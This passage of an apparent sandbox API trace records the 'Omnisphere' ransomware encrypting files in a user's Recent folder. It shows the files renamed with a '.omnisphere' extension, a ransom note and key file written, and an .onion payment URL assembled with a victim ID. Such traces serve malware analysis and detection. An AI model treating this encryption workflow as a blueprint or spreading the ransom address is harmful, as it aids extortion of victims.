hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.977] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.978] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.979] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.979] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.979] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.979] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.979] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.979] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.979] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.979] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.979] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.979] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.979] CryptDestroyKey (hKey=0x1639628) returned 1 [0127.979] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0127.979] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xa00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0127.979] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0127.979] GetProcessHeap () returned 0x1600000 [0127.979] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x1711ae8 [0127.979] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\61ebb1e65cfcb8da.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\61ebb1e65cfcb8da.automaticdestinations-ms.omnisphere")) returned 1 [0127.980] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms.omnisphere.id" [0127.980] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\61ebb1e65cfcb8da.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0127.981] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0127.982] CloseHandle (hObject=0x388) returned 1 [0127.982] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.982] CloseHandle (hObject=0x3c0) returned 1 [0127.982] SetEndOfFile (hFile=0x288) returned 1 [0127.983] FlushFileBuffers (hFile=0x288) returned 1 [0127.986] CloseHandle (hObject=0x288) returned 1 [0127.986] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\61ebb1e65cfcb8da.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0127.986] GetProcessHeap () returned 0x1600000 [0127.986] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fa8c8 [0127.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.986] GetProcessHeap () returned 0x1600000 [0127.987] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1ed8 [0127.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1ed8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.987] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.987] GetProcessHeap () returned 0x1600000 [0127.987] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710600 [0127.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710600, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.987] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.987] GetProcessHeap () returned 0x1600000 [0127.987] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16fbac0 [0127.987] PathCombineW (in: pszDest=0x16fbac0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0127.987] GetProcessHeap () returned 0x1600000 [0127.987] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17028f0 [0127.987] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.987] WriteFile (in: hFile=0x288, lpBuffer=0x17028f0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x17028f0*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0127.987] CloseHandle (hObject=0x288) returned 1 [0127.988] GetProcessHeap () returned 0x1600000 [0127.988] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fa8c8 | out: hHeap=0x1600000) returned 1 [0127.988] GetProcessHeap () returned 0x1600000 [0127.988] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0127.988] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0127.988] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.988] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0127.988] CloseHandle (hObject=0x288) returned 1 [0127.988] GetProcessHeap () returned 0x1600000 [0127.988] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0127.988] GetProcessHeap () returned 0x1600000 [0127.988] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0127.988] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef89c12b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef89c12b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef89c12b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0xcc, cFileName="6824f4a902c78fbd.automaticDestinations-ms", cAlternateFileName="6824F4~1.AUT")) returned 1 [0127.988] GetProcessHeap () returned 0x1600000 [0127.988] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0127.988] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="6824f4a902c78fbd.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6824f4a902c78fbd.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6824f4a902c78fbd.automaticDestinations-ms" [0127.988] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0127.988] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\6824f4a902c78fbd.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\6824f4a902c78fbd.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.989] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=2560) returned 1 [0127.989] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0127.989] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0127.991] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0127.991] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0127.991] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.991] CloseHandle (hObject=0x3c0) returned 1 [0127.991] GetTickCount () returned 0x115feee [0127.991] GetTickCount () returned 0x115feee [0127.991] GetTickCount () returned 0x115feee [0127.991] GetTickCount () returned 0x115feee [0127.991] GetTickCount () returned 0x115feee [0127.991] GetTickCount () returned 0x115feee [0127.991] GetTickCount () returned 0x115feee [0127.991] GetTickCount () returned 0x115feee [0127.991] GetTickCount () returned 0x115feee [0127.991] GetTickCount () returned 0x115feee [0127.991] GetTickCount () returned 0x115feee [0127.991] GetTickCount () returned 0x115feee [0127.991] GetTickCount () returned 0x115feee [0127.991] GetTickCount () returned 0x115feee [0127.991] GetTickCount () returned 0x115feee [0127.991] GetTickCount () returned 0x115feee [0127.991] GetTickCount () returned 0x115feee [0127.991] GetTickCount () returned 0x115feee [0127.992] GetTickCount () returned 0x115feee [0127.992] GetTickCount () returned 0x115feee [0127.992] GetTickCount () returned 0x115feee [0127.992] GetTickCount () returned 0x115feee [0127.992] GetTickCount () returned 0x115feee [0127.992] GetTickCount () returned 0x115feee [0127.992] GetTickCount () returned 0x115feee [0127.992] GetTickCount () returned 0x115feee [0127.992] GetTickCount () returned 0x115feee [0127.992] GetTickCount () returned 0x115feee [0127.992] GetTickCount () returned 0x115feee [0127.992] GetTickCount () returned 0x115feee [0127.992] GetTickCount () returned 0x115feee [0127.992] GetTickCount () returned 0x115feee [0127.992] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16688a0) returned 1 [0127.992] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639528) returned 1 [0127.993] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0127.993] CryptDestroyKey (hKey=0x1639528) returned 1 [0127.993] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0127.993] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, 